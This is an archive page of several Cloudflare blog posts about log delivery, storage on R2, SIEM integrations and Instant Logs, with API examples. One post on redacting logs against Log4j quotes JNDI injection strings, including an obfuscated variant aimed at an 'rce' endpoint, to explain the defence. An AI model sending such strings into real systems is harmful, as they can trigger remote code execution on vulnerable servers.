Tag Archives: Logs

Logpush: now lower cost and with more visibility

Post Syndicated from Duc Nguyen original https://blog.cloudflare.com/logpush-filters-alerts/

Logpush: now lower cost and with more visibility

Logpush: now lower cost and with more visibility

Logs are a critical part of every successful application. Cloudflare products and services around the world generate massive amounts of logs upon which customers of all sizes depend. Structured logging from our products are used by customers for purposes including analytics, debugging performance issues, monitoring application health, maintaining security standards for compliance reasons, and much more.

Logpush is Cloudflare’s product for pushing these critical logs to customer systems for consumption and analysis. Whenever our products generate logs as a result of traffic or data passing through our systems from anywhere in the world, we buffer these logs and push them directly to customer-defined destinations like Cloudflare R2, Splunk, AWS S3, and many more.

Today we are announcing three new key features related to Cloudflare’s Logpush product. First, the ability to have only logs matching certain criteria be sent. Second, the ability to get alerted when logs are failing to be pushed due to customer destinations having issues or network issues occurring between Cloudflare and the customer destination. In addition, customers will also be able to query for analytics around the health of Logpush jobs like how many bytes and records were pushed, number of successful pushes, and number of failing pushes.

Filtering logs before they are pushed

Because logs are both critical and generated with high volume, many customers have to maintain complex infrastructure just to ingest and store logs, as well as deal with ever-increasing related costs. On a typical day, a real, example customer receives about 21 billion records, or 2.1 terabytes (about 24.9 TB uncompressed) of gzip compressed logs. Over the course of a month, that could easily be hundreds of billions of events and hundreds of terabytes of data.

It is often unnecessary to store and analyze all of this data, and customers could get by with specific subsets of the data matching certain criteria. For example, a customer might want just the set of HTTP data that had status code >= 400, or the set of firewall data where the action taken was to block the user.
We can now achieve this in our Logpush jobs by setting specific filters on the fields of the log messages themselves. You can use either our API or the Cloudflare dashboard to set up filters.

To do this in the dashboard, either create a new Logpush job or modify an existing job. You will see the option to set certain filters. For example, an ecommerce customer might want to receive logs only for the checkout page where the bot score was non-zero:

Logpush: now lower cost and with more visibility

Logpush job alerting

When logs are a critical part of your infrastructure, you want peace of mind that logging infrastructure is healthy. With that in mind, we are announcing the ability to get notified when your Logpush jobs have been retrying to push and failing for 24 hours.

To set up alerts in the Cloudflare dashboard:

1. First, navigate to “Notifications” in the left-panel of the account view

2. Next, Click the “add” button

Logpush: now lower cost and with more visibility

3. Select the alert “Failing Logpush Job Disabled”

Logpush: now lower cost and with more visibility

4. Configure the alert and click Save.

That’s it — you will receive an email alert if your Logpush job is disabled.

Logpush Job Health API

We have also added the ability to query for stats related to the health of your Logpush jobs to our graphql API. Customers can now use our GraphQL API to query for things like the number of bytes pushed, number of compressed bytes pushed, number of records pushed, the status of each push, and much more. Using these stats, customers can have greater visibility into a core part of infrastructure. The GraphQL API is self documenting so full details about the new logpushHealthAdaptiveGroups node can be found using any GraphQL client, but head to GraphQL docs for more information.

Below are a couple example queries of how you can use the GraphQL to find stats related to your Logpush jobs.

Query for number of pushes to S3 that resulted in status code != 200

    zones(filter: { zoneTag: $zoneTag})
      logpushHealthAdaptiveGroups(filter: {
        dimensions {

Getting the number of bytes, compressed bytes and records that were pushed

    zones(filter: { zoneTag: $zoneTag})
      logpushHealthAdaptiveGroups(filter: {
        sum {


Logpush is a robust and flexible platform for customers who need to integrate their own logging and monitoring systems with Cloudflare. Different Logpush jobs can be deployed to support multiple destinations or, with filtering, multiple subsets of logs.

Customers who haven’t created Logpush jobs are encouraged to do so. Try pushing your logs to R2 for safe-keeping! For customers who don’t currently have access to this powerful tool, consider upgrading your plan.

Store and retrieve your logs on R2

Post Syndicated from Shelley Jones original https://blog.cloudflare.com/store-and-retrieve-logs-on-r2/

Store and retrieve your logs on R2

Store and retrieve your logs on R2

Following today’s announcement of General Availability of Cloudflare R2 object storage, we’re excited to announce that customers can also store and retrieve their logs on R2.

Cloudflare’s Logging and Analytics products provide vital insights into customers’ applications. Though we have a breadth of capabilities, logs in particular play a pivotal role in understanding what occurs at a granular level; we produce detailed logs containing metadata generated by Cloudflare products via events flowing through our network, and they are depended upon to illustrate or investigate anything (and everything) from the general performance or health of applications to closely examining security incidents.

Until today, we have only provided customers with the ability to export logs to 3rd-party destinations – to both store and perform analysis. However, with Log Storage on R2 we are able to offer customers a cost-effective solution to store event logs for any of our products.

The cost conundrum

We’ve unpacked the commercial impact in a previous blog post, but to recap, the cost of storage can vary broadly depending on the volume of requests Internet properties receive. On top of that – and specifically pertaining to logs – there’s usually more expensive fees to access that data whenever the need arises. This can be incredibly problematic, especially when customers are having to balance their budget with the need to access their logs – whether it’s to mitigate a potential catastrophe or just out of curiosity.

With R2, not only do we not charge customers egress costs, but we also provide the opportunity to make further operational savings by centralizing storage and retrieval. Though, most of all, we just want to make it easy and convenient for customers to access their logs via our Retrieval API – all you need to do is provide a time range!

Logs on R2: get started!

Why would you want to store your logs on Cloudflare R2? First, R2 is S3 API compatible, so your existing tooling will continue to work as is. Second, not only is R2 cost-effective for storage, we also do not charge any egress fees if you want to get your logs out of Cloudflare to be ingested into your own systems. You can store logs for any Cloudflare product, and you can also store what you need for as long as you need; retention is completely within your control.

Storing Logs on R2

To create Logpush jobs pushing to R2, you can use either the dashboard or Cloudflare API. Using the dashboard, you can create a job and select R2 as the destination during configuration:

Store and retrieve your logs on R2

To use the Cloudflare API to create the job, do something like:

curl -s -X POST 'https://api.cloudflare.com/client/v4/zones/<ZONE_ID>/logpush/jobs' \
-H "X-Auth-Email: <EMAIL>" \
-H "X-Auth-Key: <API_KEY>" \
-d '{
 "dataset": "http_requests",
}' | jq .

Please see Logpush over R2 docs for more information.

Log Retrieval on R2

If you have your logs pushed to R2, you could use the Cloudflare API to retrieve logs in specific time ranges like the following:

curl -s -g -X GET 'https://api.cloudflare.com/client/v4/accounts/<ACCOUNT_ID>/logs/retrieve?start=2022-09-25T16:00:00Z&end=2022-09-25T16:05:00Z&bucket=<YOUR_BUCKET>&prefix=<YOUR_FILE_PREFIX>/{DATE}' \
-H "X-Auth-Email: <EMAIL>" \
-H "X-Auth-Key: <API_KEY>" \ 
-H "R2-Access-Key-Id: R2_ACCESS_KEY_ID" \
-H "R2-Secret-Access-Key: R2_SECRET_ACCESS_KEY" | jq .

See Log Retrieval API for more details.

Now that you have critical logging infrastructure on Cloudflare, you probably want to be able to monitor the health of these Logpush jobs as well as get relevant alerts when something needs your attention.

Looking forward

While we have a vision to build out log analysis and forensics capabilities on top of R2 – and a roadmap to get us there – we’d still love to hear your thoughts on any improvements we can make, particularly to our retrieval options.

Get setup on R2 to start pushing logs today! If your current plan doesn’t include Logpush, storing logs on R2 is another great reason to upgrade!

Integrating Network Analytics Logs with your SIEM dashboard

Post Syndicated from Omer Yoachimik original https://blog.cloudflare.com/network-analytics-logs/

Integrating Network Analytics Logs with your SIEM dashboard

Integrating Network Analytics Logs with your SIEM dashboard

We’re excited to announce the availability of Network Analytics Logs. Magic Transit, Magic Firewall, Magic WAN, and Spectrum customers on the Enterprise plan can feed packet samples directly into storage services, network monitoring tools such as Kentik, or their Security Information Event Management (SIEM) systems such as Splunk to gain near real-time visibility into network traffic and DDoS attacks.

What’s included in the logs

By creating a Network Analytics Logs job, Cloudflare will continuously push logs of packet samples directly to the HTTP endpoint of your choice, including Websockets. The logs arrive in JSON format which makes them easy to parse, transform, and aggregate. The logs include packet samples of traffic dropped and passed by the following systems:

  1. Network-layer DDoS Protection Ruleset
  2. Advanced TCP Protection
  3. Magic Firewall

Note that not all mitigation systems are applicable to all Cloudflare services. Below is a table describing which mitigation service is applicable to which Cloudflare service:

Mitigation System Cloudflare Service
Magic Transit Magic WAN Spectrum
Network-layer DDoS Protection Ruleset
Advanced TCP Protection
Magic Firewall

Packets are processed by the mitigation systems in the order outlined above. Therefore, a packet that passed all three systems may produce three packet samples, one from each system. This can be very insightful when troubleshooting and wanting to understand where in the stack a packet was dropped. To avoid overcounting the total passed traffic, Magic Transit users should only take into consideration the passed packets from the last mitigation system, Magic Firewall.

An example of a packet sample log:


All the available log fields are documented here: https://developers.cloudflare.com/logs/reference/log-fields/account/network_analytics_logs/

Setting up the logs

In this walkthrough, we will demonstrate how to feed the Network Analytics Logs into Splunk via Postman. At this time, it is only possible to set up Network Analytics Logs via API. Setting up the logs requires three main steps:

  1. Create a Cloudflare API token.
  2. Create a Splunk Cloud HTTP Event Collector (HEC) token.
  3. Create and enable a Cloudflare Logpush job.

Let’s get started!

1) Create a Cloudflare API token

  1. Log in to your Cloudflare account and navigate to My Profile.
  2. On the left-hand side, in the collapsing navigation menu, click API Tokens.
  3. Click Create Token and then, under Custom token, click Get started.
  4. Give your custom token a name, and select an Account scoped permission to edit Logs. You can also scope it to a specific/subset/all of your accounts.
  5. At the bottom, click Continue to summary, and then Create Token.
  6. Copy and save your token. You can also test your token with the provided snippet in Terminal.

When you’re using an API token, you don’t need to provide your email address as part of the API credentials.

Integrating Network Analytics Logs with your SIEM dashboard

Read more about creating an API token on the Cloudflare Developers website: https://developers.cloudflare.com/api/tokens/create/

2) Create a Splunk token for an HTTP Event Collector

In this walkthrough, we’re using a Splunk Cloud free trial, but you can use almost any service that can accept logs over HTTPS. In some cases, if you’re using an on-premise SIEM solution, you may need to allowlist Cloudflare IP address in your firewall to be able to receive the logs.

  1. Create a Splunk Cloud account. I created a trial account for the purpose of this blog.
  2. In the Splunk Cloud dashboard, go to Settings > Data Input.
  3. Next to HTTP Event Collector, click Add new.
  4. Follow the steps to create a token.
  5. Copy your token and your allocated Splunk hostname and save both for later.
Integrating Network Analytics Logs with your SIEM dashboard

Read more about using Splunk with Cloudflare Logpush on the Cloudflare Developers website: https://developers.cloudflare.com/logs/get-started/enable-destinations/splunk/

Read more about creating an HTTP Event Collector token on Splunk’s website: https://docs.splunk.com/Documentation/Splunk/8.2.6/Data/UsetheHTTPEventCollector

3) Create a Cloudflare Logpush job

Creating and enabling a job is very straightforward. It requires only one API call to Cloudflare to create and enable a job.

To send the API calls I used Postman, which is a user-friendly API client that was recommended to me by a colleague. It allows you to save and customize API calls. You can also use Terminal/CMD or any other API client/script of your choice.

One thing to notice is Network Analytics Logs are account-scoped. The API endpoint is therefore a tad different from what you would normally use for zone-scoped datasets such as HTTP request logs and DNS logs.

This is the endpoint for creating an account-scoped Logpush job:


Your account identifier number is a unique identifier of your account. It is a string of 32 numbers and characters. If you’re not sure what your account identifier is, log in to Cloudflare, select the appropriate account, and copy the string at the end of the URL.


Then, set up a new request in Postman (or any other API client/CLI tool).

To successfully create a Logpush job, you’ll need the HTTP method, URL, Authorization token, and request body (data). The request body must include a destination configuration (destination_conf), the specified dataset (network_analytics_logs, in our case), and the token (your Splunk token).

Integrating Network Analytics Logs with your SIEM dashboard





Authorization: Define a Bearer authorization in the Authorization tab, or add it to the header, and add your Cloudflare API token.

Body: Select a Raw > JSON

"destination_conf": "{your-unique-splunk-configuration}",
"dataset": "network_analytics_logs",
"token": "{your-splunk-hec-tag}",
"enabled": "true"

If you’re using Splunk Cloud, then your unique configuration has the following format:


Definition of the variables:

{your-splunk-hostname}= Your allocated Splunk Cloud hostname.

{channel-id} = A unique ID that you choose to assign for.`{your-splunk–hec-token}` = The token that you generated for your Splunk HEC.

An important note is that customers should have a valid SSL/TLS certificate on their Splunk instance to support an encrypted connection.

After you’ve done that, you can create a GET request to the same URL (no request body needed) to verify that the job was created and is enabled.

The response should be similar to the following:

    "errors": [],
    "messages": [],
    "result": {
        "id": {job-id},
        "dataset": "network_analytics_logs",
        "frequency": "high",
        "kind": "",
        "enabled": true,
        "name": null,
        "logpull_options": null,
        "destination_conf": "{your-unique-splunk-configuration}",
        "last_complete": null,
        "last_error": null,
        "error_message": null
    "success": true

Shortly after, you should start receiving logs to your Splunk HEC.

Integrating Network Analytics Logs with your SIEM dashboard

Read more about enabling Logpush on the Cloudflare Developers website: https://developers.cloudflare.com/logs/reference/logpush-api-configuration/examples/example-logpush-curl/

Reduce costs with R2 storage

Depending on the amount of logs that you read and write, the cost of third party cloud storage can skyrocket — forcing you to decide between managing a tight budget and being able to properly investigate networking and security issues. However, we believe that you shouldn’t have to make those trade-offs. With R2’s low costs, we’re making this decision easier for our customers. Instead of feeding logs to a third party, you can reap the cost benefits of storing them in R2.

To learn more about the R2 features and pricing, check out the full blog post. To enable R2, contact your account team.

Cloudflare logs for maximum visibility

Cloudflare Enterprise customers have access to detailed logs of the metadata generated by our products. These logs are helpful for troubleshooting, identifying network and configuration adjustments, and generating reports, especially when combined with logs from other sources, such as your servers, firewalls, routers, and other appliances.

Network Analytics Logs joins Cloudflare’s family of products on Logpush: DNS logs, Firewall events, HTTP requests, NEL reports, Spectrum events, Audit logs, Gateway DNS, Gateway HTTP, and Gateway Network.

Not using Cloudflare yet? Start now with our Free and Pro plans to protect your websites against DDoS attacks, or contact us for comprehensive DDoS protection and firewall-as-a-service for your entire network.

Logs on R2: slash your logging costs

Post Syndicated from Tanushree Sharma original https://blog.cloudflare.com/logs-r2/

Logs on R2: slash your logging costs

Logs on R2: slash your logging costs

Hot on the heels of the R2 open beta announcement, we’re excited that Cloudflare enterprise customers can now use Logpush to store logs on R2!

Raw logs from our products are used by our customers for debugging performance issues, to investigate security incidents, to keep up security standards for compliance and much more. You shouldn’t have to make tradeoffs between keeping logs that you need and managing tight budgets. With R2’s low costs, we’re making this decision easier for our customers!

Getting into the numbers

Cloudflare helps customers at different levels of scale — from a few requests per day, up to a million requests per second. Because of this, the cost of log storage also varies widely. For customers with higher-traffic websites, log storage costs can grow large, quickly.

As an example, imagine a website that gets 100,000 requests per second. This site would generate about 9.2 TB of HTTP request logs per day, or 850 GB/day after gzip compression. Over a month, you’ll be storing about 26 TB (compressed) of HTTP logs.

For a typical use case, imagine that you write and read the data exactly once – for example, you might write the data to object storage before ingesting it into an alerting system. Compare the costs of R2 and S3 (note that this excludes costs per operation to read/write data).

Provider Storage price Data transfer price Total cost assuming data is read once
R2 $0.015/GB $0 $390/month
S3 (Standard, US East $0.023/GB $0.09/GB for first 10 TB; then $0.085/GB $2,858/month

In this example, R2 leads to 86% savings! It’s worth noting that querying logs is where another hefty price tag comes in because Amazon Athena charges based on the amount of data scanned. If your team is looking back through historical data, each query can be hundreds of dollars.

Many of our customers have tens to hundreds of domains behind Cloudflare and the majority of our Enterprise customers also use multiple Cloudflare products. Imagine how costs will scale if you need to store HTTP, WAF and Spectrum logs for all of your Internet properties behind Cloudflare.

For SaaS customers that are building the next big thing on Cloudflare, logs are important to get visibility into customer usage and performance. Your customer’s developers may also want access to raw logs to understand errors during development and to troubleshoot production issues. Costs for storing logs multiply and add up quickly!

The flip side: log retrieval

When designing products, one of Cloudflare’s core principles is ease of use. We take on the complexity, so you don’t have to. Storing logs is only half the battle, you also need to be able to access relevant logs when you need them – in the heat of an incident or when doing an in depth analysis.

Our product, Logpull, offers seven days of log retention and an easy to use API to access. Our customers love that Logpull doesn’t need any setup on third parties since it’s completely managed by Cloudflare. However, Logpull is limited in the retention of logs, the type of logs that we store (only HTTP request logs) and the amount of data that can be queried at one time.

We’re building tools for log retrieval that make it super easy to get your data out of R2 from any of our datasets. Similar to Logpull, we’ll start by supporting lookups by time period and rayId. From there, we’ll tackle more complex functions like returning logs within time X and Y that have 500 errors or where WAF action = block.

We’re looking for customers to join a closed beta for our Log Retrieval API. If you’re interested in testing it out, giving feedback and ultimately helping us shape the product sign up here.

Logs on R2: How to get started

Enterprise customers first need to get R2 added to their contract. Reach out to your account team if this is something you’re interested in! Once enabled, create an R2 bucket for your logs and follow the Logpush setup flow to create your job.

Logs on R2: slash your logging costs

It’s that simple! If you have questions, our Logpush to R2 developer docs go into more detail.

More to come

We’re continuing to build out more advanced Logpush features with a focus on customization. Here’s a preview of what’s next on the roadmap:

  • New datasets: Network Analytics Logs, Workers Invocation Logs
  • Log filtering
  • Custom log formatting

We also have exciting plans to build out log analysis and forensics capabilities on top of R2. We want to make log storage tightly coupled to the Cloudflare dash so you can see high level analytics and drill down into individual log lines all in one view. Stay tuned to the blog for more!

Get full observability into your Cloudflare logs with New Relic

Post Syndicated from Tanushree Sharma original https://blog.cloudflare.com/announcing-the-new-relic-direct-log-integration/

Get full observability into your Cloudflare logs with New Relic

Get full observability into your Cloudflare logs with New Relic

Building a great customer experience is at the heart of any business. Building resilient products is half the battle — teams also need observability into their applications and services that are running across their stack.

Cloudflare provides analytics and logs for our products in order to give our customers visibility to extract insights. Many of our customers use Cloudflare along with other applications and network services and want to be able to correlate data through all of their systems.

Understanding normal traffic patterns, causes of latency and errors can be used to improve performance and ultimately the customer experience. For example, for websites behind Cloudflare, analyzing application logs and origin server logs along with Cloudflare’s HTTP request logs give our customers an end-to-end visibility about the journey of a request.

We’re excited to have partnered with New Relic to create a direct integration that provides this visibility. The direct integration with our logging product, Logpush, means customers no longer need to pay for middleware to get their Cloudflare data into New Relic. The result is a faster log delivery and fewer costs for our mutual customers!

We’ve invited the New Relic team to dig into how New Relic One can be used to provide insights into Cloudflare.

New Relic Log Management

New Relic provides an open, extensible, cloud-based observability platform that gives visibility into your entire stack. Logs, metrics, events, and traces are automatically correlated to help our customers improve user experience, accelerate time to market, and reduce MTTR.

Deploying log management in context and at scale has never been faster, easier, or more attainable. With New Relic One, you can collect, search, and correlate logs and other telemetry data from applications, infrastructure, network devices, and more for faster troubleshooting and investigation.

New Relic correlates events from your applications, infrastructure, serverless environments, along with mobile errors, traces and spans to your logs — so you find exactly what you need with less toil. All your logs are only a click away, so there’s no need to dig through logs in a separate etool to manually correlate them with errors and traces.

See how engineers have used logs in New Relic to better serve their customers in the short video below.

A quickstart for Cloudflare Logpush and New Relic

To help you get the most of the new Logpush integration with New Relic, we’ve created the Cloudflare Logpush quickstart for New Relic. The Cloudflare quickstart will enable you to monitor and analyze web traffic metrics on a single pre-built dashboard, integrating with New Relic’s database to provide an at-a-glance overview of the most important logs and metrics from your websites and applications.

Getting started is simple:

  • First, ensure that you have enabled pushing logs directly into New Relic by following the documentation “Enable Logpush to New Relic”.
  • You’ll also need a New Relic account. If you don’t have one yet, get a free-forever account here.
  • Next, visit the Cloudflare quickstart in New Relic, click “Install quickstart”, and follow the guided click-through.

For full instructions to set up the integration and quickstart, read the New Relic blog post.

Get full observability into your Cloudflare logs with New Relic

As a result, you’ll get a rich ready-made dashboard with key metrics about your Cloudflare logs!

Correlating Cloudflare logs across your stack in New Relic One is powerful for monitoring and debugging in order to keep services safe and reliable. Cloudflare customers get access to logs as part of the Enterprise account, if you aren’t using Cloudflare Enterprise, contact us. If you’re not already a New Relic user, sign up for New Relic to get a free account which includes this new experience and all of our product capabilities.

Leverage IBM QRadar SIEM to get insights from Cloudflare logs

Post Syndicated from Tanushree Sharma original https://blog.cloudflare.com/announcing-the-ibm-qradar-direct-log-integration/

Leverage IBM QRadar SIEM to get insights from Cloudflare logs

Leverage IBM QRadar SIEM to get insights from Cloudflare logs

It’s just gone midnight, and you’ve just been notified that there is a malicious IP hitting your servers. You need to triage the situation; find the who, what, where, when, why as fast and in as much detail as possible.

Based on what you find out, your next steps could fall anywhere between classifying the alert as a false positive, to escalating the situation and alerting on-call staff from around your organization with a middle of the night wake up.

For anyone that’s gone through a similar situation, you’re aware that the security tools you have on hand can make the situation infinitely easier. It’s invaluable to have one platform that provides complete visibility of all the endpoints, systems and operations that are running at your company.

Cloudflare protects customers’ applications through application services: DNS, CDN and WAF to name a few. We also have products that protect corporate applications, like our Zero Trust offerings Access and Gateway. Each of these products generates logs that provide customers visibility into what’s happening in their environments. Many of our customers use Cloudflare’s services along with other network or application services, such as endpoint management, containerized systems and their own servers.

We’re excited to announce that Cloudflare customers are now able to push their logs directly to IBM Security QRadar SIEM. This direct integration leads to cost savings and faster log delivery for Cloudflare and QRadar SIEM customers because there is no intermediary cloud storage required.

Cloudflare has invited our partner from the IBM QRadar SIEM team to speak to the capabilities this unlocks for our mutual customers.


QRadar SIEM provides security teams centralized visibility and insights across users, endpoints, clouds, applications, and networks – helping you detect, investigate, and respond to threats enterprise wide. QRadar SIEM helps security teams work quickly and efficiently by turning thousands to millions of events into a manageable number of prioritized alerts and accelerating investigations with automated, AI-driven enrichment and root cause analysis. With QRadar SIEM, increase the productivity of your team, address critical use cases, and mature your security operation.

Cloudflare’s reverse proxy and enterprise security products are a key part of customer’s environments. Security analysis can gain visibility about logs from these products along with data from tools that span their network to build out detections and response workflows.

Leverage IBM QRadar SIEM to get insights from Cloudflare logs

IBM and Cloudflare have partnered together for years to provide a single pane of glass view for our customers. This new enhanced integration means that QRadar SIEM customers can ingest Cloudflare logs directly from Cloudflare’s Logpush product. QRadar SIEM also continues to support customers who are leveraging existing integration via S3 storage.

For more information about how to use this new integration, refer to the Cloudflare Logs DSM guide. Also, check out the blog post on the QRadar Community blog for more details!

Slicing and Dicing Instant Logs: Real-time Insights on the Command Line

Post Syndicated from Cole MacKenzie original https://blog.cloudflare.com/instant-logs-on-the-command-line/

Slicing and Dicing Instant Logs: Real-time Insights on the Command Line

Slicing and Dicing Instant Logs: Real-time Insights on the Command Line

During Speed Week 2021 we announced a new offering for Enterprise customers, Instant Logs. Since then, the team has not slowed down and has been working on new ways to enable our customers to consume their logs and gain powerful insights into their HTTP traffic in real time.

Slicing and Dicing Instant Logs: Real-time Insights on the Command Line

We recognize that as developers, UIs are useful but sometimes there is the need for a more powerful alternative. Today, I am going to introduce you to Instant Logs in your terminal! In order to get started we need to install a few open-source tools to help us:

  • Websocat – to connect to WebSockets.
  • Angle Grinder – a utility to slice-and-dice a stream of logs on the command line.

Creating an Instant Log’s Session

For enterprise zones with access to Instant Logs, you can create a new session by sending a POST request to our jobs’ endpoint. You will need:

  • Your Zone Tag / ID
  • An Authentication Key or an API Token with at least the Zone Logs Read permission

curl -X POST 'https://api.cloudflare.com/client/v4/zones/${ZONE_ID}/logpush/edge/jobs' \
-H 'X-Auth-Key: <KEY>' \
-H 'X-Auth-Email: <EMAIL>' \
-H 'Content-Type: application/json' \
--data-raw '{
    "fields": "ClientIP,ClientRequestHost,ClientRequestMethod,ClientRequestPath,EdgeEndTimestamp,EdgeResponseBytes,EdgeResponseStatus,EdgeStartTimestamp,RayID",
    "sample": 1,
    "filter": "",
    "kind": "instant-logs"


The response will include a new field called destination_conf. The value of this field is your unique WebSocket address that will receive messages directly from our network!

    "errors": [],
    "messages": [],
    "result": {
        "id": 401,
        "fields": "ClientIP,ClientRequestHost,ClientRequestMethod,ClientRequestPath,EdgeEndTimestamp,EdgeResponseBytes,EdgeResponseStatus,EdgeStartTimestamp,RayID",
        "sample": 1,
        "filter": "",
        "destination_conf": "wss://logs.cloudflare.com/instant-logs/ws/sessions/949f9eb846f06d8f8b7c91b186a349d2",
        "kind": "instant-logs"
    "success": true

Connect to WebSocket

Using a CLI utility like Websocat, you can connect to the WebSocket and start immediately receiving logs of line-delimited JSON.

websocat wss://logs.cloudflare.com/instant-logs/ws/sessions/949f9eb846f06d8f8b7c91b186a349d2

The Scenario

Now that you are able to create a new Instant Logs session let’s give it a purpose! Say you just recently deployed a new firewall rule blocking users from downloading a specific asset that is only available to users in Canada. For the purpose of this example, the asset is available at the path /canadians-only.

Specifying Fields

In order to see what firewall actions (if any) were taken, we need to make sure that we include ClientRequestCountry, ​​FirewallMatchesActions and FirewallMatchesRuleIDs fields when creating our session.

Additionally, any field available in our HTTP request dataset is usable by Instant Logs. You can view the entire list of HTTP Request fields on our developer docs.

Choosing a Sample Rate

Instant Logs users also have the ability to choose a sample rate. The sample parameter is the inverse probability of selecting a log. This means that "sample": 1 is 100% of records, "sample": 10 is 10% and so on.

Going back to our example of validating that our newly deployed firewall rule is working as expected, in this case, we are choosing not to sample the data by setting "sample": 1.

Please note that Instant Logs has a maximum data rate supported. For high volume domains, we sample server side as indicated in the “sampleInterval” parameter returned in the logs. For example, “sampleInterval”: 10 indicates this log message is just one out of 10 logs received.

Defining the Filters

Since we are only interested in requests with the path of /canadians-only, we can use filters to remove any logs that do not match that specific path. The filters consist of three parts: key, operator and value. The key can be any field specified in the "fields": "" list when creating the session. The complete list of supported operators can be found on our Instant Logs documentation.

To only get the logs of requests destined to /canadians-only, we can specify the following filter:

  "filter": "{\"where\":{\"and\":[{\"key\":\"ClientRequestPath\",\"operator\":\"eq\",\"value\":\"/canadians-only\"}]}}"

Creating an Instant Logs Session: Canadians Only

Using the information above, we can now craft the request for our custom Instant Logs session.

curl -X POST 'https://api.cloudflare.com/client/v4/zones/${ZONE_ID}/logpush/edge/jobs' \
-H 'X-Auth-Key: <KEY>' \
-H 'X-Auth-Email: <EMAIL>' \
-H 'Content-Type: application/json' \
--data-raw '{
  "fields": "ClientIP,ClientRequestHost,ClientRequestMethod,ClientRequestPath,ClientCountry,EdgeEndTimestamp,EdgeResponseBytes,EdgeResponseStatus,EdgeStartTimestamp,RayID,FirewallMatchesActions,FirewallMatchesRuleIDs",
  "sample": 1,
  "kind": "instant-logs",
  "filter": "{\"where\":{\"and\":[{\"key\":\"ClientRequestPath\",\"operator\":\"eq\",\"value\":\"/canadians-only\"}]}}"

Angle Grinder

Now that we have a connection to our WebSocket and are receiving logs that match the request path /canadians-only, we can start slicing and dicing the logs to see that the rule is working as expected. A handy tool to use for this is Angle Grinder. Angle Grinder lets you apply filtering, transformations and aggregations on stdin with first class JSON support. For example, to get the number of visitors from each country we can sum the number of events by the ClientCountry field.

websocat wss://logs.cloudflare.com/instant-logs/ws/sessions/949f9eb846f06d8f8b7c91b186a349d2 | agrind '* | json | sum(sampleInterval) by ClientCountry'
ClientCountry    	_sum
pt               	4
fr               	3
us               	3

Using Angle Grinder, we can create a query to count the firewall actions by each country.

websocat wss://logs.cloudflare.com/instant-logs/ws/sessions/949f9eb846f06d8f8b7c91b186a349d2 |  agrind '* | json | sum(sampleInterval) by ClientCountry,FirewallMatchesActions'
ClientCountry        FirewallMatchesActions        _sum
ca                   []                            5
us                   [block]                       1

Looks like our newly deployed firewall rule is working 🙂

Happy Logging!

Sanitizing Cloudflare Logs to protect customers from the Log4j vulnerability

Post Syndicated from Jon Levine original https://blog.cloudflare.com/log4j-cloudflare-logs-mitigation/

Sanitizing Cloudflare Logs to protect customers from the Log4j vulnerability

On December 9, 2021, the world learned about CVE-2021-44228, a zero-day exploit affecting the Apache Log4j utility.  Cloudflare immediately updated our WAF to help protect against this vulnerability, but we recommend customers update their systems as quickly as possible.

However, we know that many Cloudflare customers consume their logs using software that uses Log4j, so we are also mitigating any exploits attempted via Cloudflare Logs. As of this writing, we are seeing the exploit pattern in logs we send to customers up to 1000 times every second.

Starting immediately, customers can update their Logpush jobs to automatically redact tokens that could trigger this vulnerability. You can read more about this in our developer docs or see details below.

How the attack works

You can read more about how the Log4j vulnerability works in our blog post here. In short, an attacker can add something like ${jndi:ldap://example.com/a} in any string. Log4j will then make a connection on the Internet to retrieve this object.

Cloudflare Logs contain many string fields that are controlled by end-users on the public Internet, such as User Agent and URL path. With this vulnerability, it is possible that a malicious user can cause a remote code execution on any system that reads these fields and uses an unpatched instance of Log4j.

Our mitigation plan

Unfortunately, just checking for a token like ${jndi:ldap is not sufficient to protect against this vulnerability. Because of the expressiveness of the templating language, it’s necessary to check for obfuscated variants as well. Already, we are seeing attackers in the wild use variations like ${jndi:${lower:l}${lower:d}a${lower:p}://loc${upper:a}lhost:1389/rce}.  Thus, redacting the token ${ is the most general way to defend against this vulnerability.

The token ${ appears up to 1,000 times per second in the logs we currently send to customers. A spot check of some records shows that many of them are not attempts to exploit this vulnerability. Therefore we can’t safely redact our logs without impacting customers who may expect to see this token in their logs.

Starting now, customers can update their Logpush jobs to redact the string ${ and replace it with x{ everywhere.

To enable this, customers can update their Logpush job options configuration to include the parameter CVE-2021-44228=true. For detailed instructions on how to do this using the Logpush API, see our developer documentation.

Store your Cloudflare logs on R2

Post Syndicated from Tanushree Sharma original https://blog.cloudflare.com/store-your-cloudflare-logs-on-r2/

Store your Cloudflare logs on R2

Store your Cloudflare logs on R2

We’re excited to announce that customers will soon be able to store their Cloudflare logs on Cloudflare R2 storage. Storing your logs on Cloudflare will give CIOs and Security Teams an opportunity to consolidate their infrastructure; creating simplicity, savings and additional security.

Cloudflare protects your applications from malicious traffic, speeds up connections, and keeps bad actors out of your network. The logs we produce from our products help customers answer questions like:

  • Why are requests being blocked by the Firewall rules I’ve set up?
  • Why are my users seeing disconnects from my applications that use Spectrum?
  • Why am I seeing a spike in Cloudflare Gateway requests to a specific application?

Storage on R2 adds to our existing suite of logging products. Storing logs on R2 fills in gaps that our customers have been asking for: a cost-effective solution to store logs for any of our products for any period of time.

Goodbye to old school logging

Let’s rewind to the early 2000s. Most organizations were running their own self-managed infrastructure: network devices, firewalls, servers and all the associated software. Each company has to manage logs coming from hundreds of sources in the IT stack. With dedicated storage needed for retaining an endless volume of logs, specialized teams are required to build an ETL pipeline and make the data actionable.

Fast-forward to the 2010s. Organizations are transitioning to using managed services for their IT functions. As a result of this shift, the way that customers collect logs for all their services have changed too. With managed services, much of the logging load is shifted off of the customer.

The challenge now: collecting logs from a combination of managed services, each of which has its own quirks. Logs can be sent at varying latencies, in different formats and some are too detailed while others not detailed enough. To gain a single pane view of their IT infrastructure, companies need to build or buy a SIEM solution.

Cloudflare replaces these sets of managed services. When a customer onboards to Cloudflare, we make it super easy to gain visibility to their traffic that hits our network. We’ve built analytics for many of our products, such as CDN, Firewall, Magic Transit and Spectrum to both view high level trends and dig into patterns by slicing and dicing data.

Analytics are a great way to see data at an aggregate level, but we know that raw logs are important to our customers as well, so we’ve built out a set of logging products.

Logging today

During Speed Week we announced Instant Logs to show customers traffic as it hits their domain. Instant Logs is perfect for live debugging and triaging use cases. Monitor your traffic, make a config change and instantly view its impacts. In cases where you need to retroactively inspect your logs, we have Logpush.

We’ve built an impressive logging pipeline to get data from the 250+ cities that house our data centers to our customers in under a minute using Logpush. If your organization has existing practices for getting data across your stack into one place, we support Logpush to a variety of cloud storage or SIEM destinations. We also have partnerships in place with major SIEM platforms to surface Cloudflare data in ways that are meaningful to our customers.

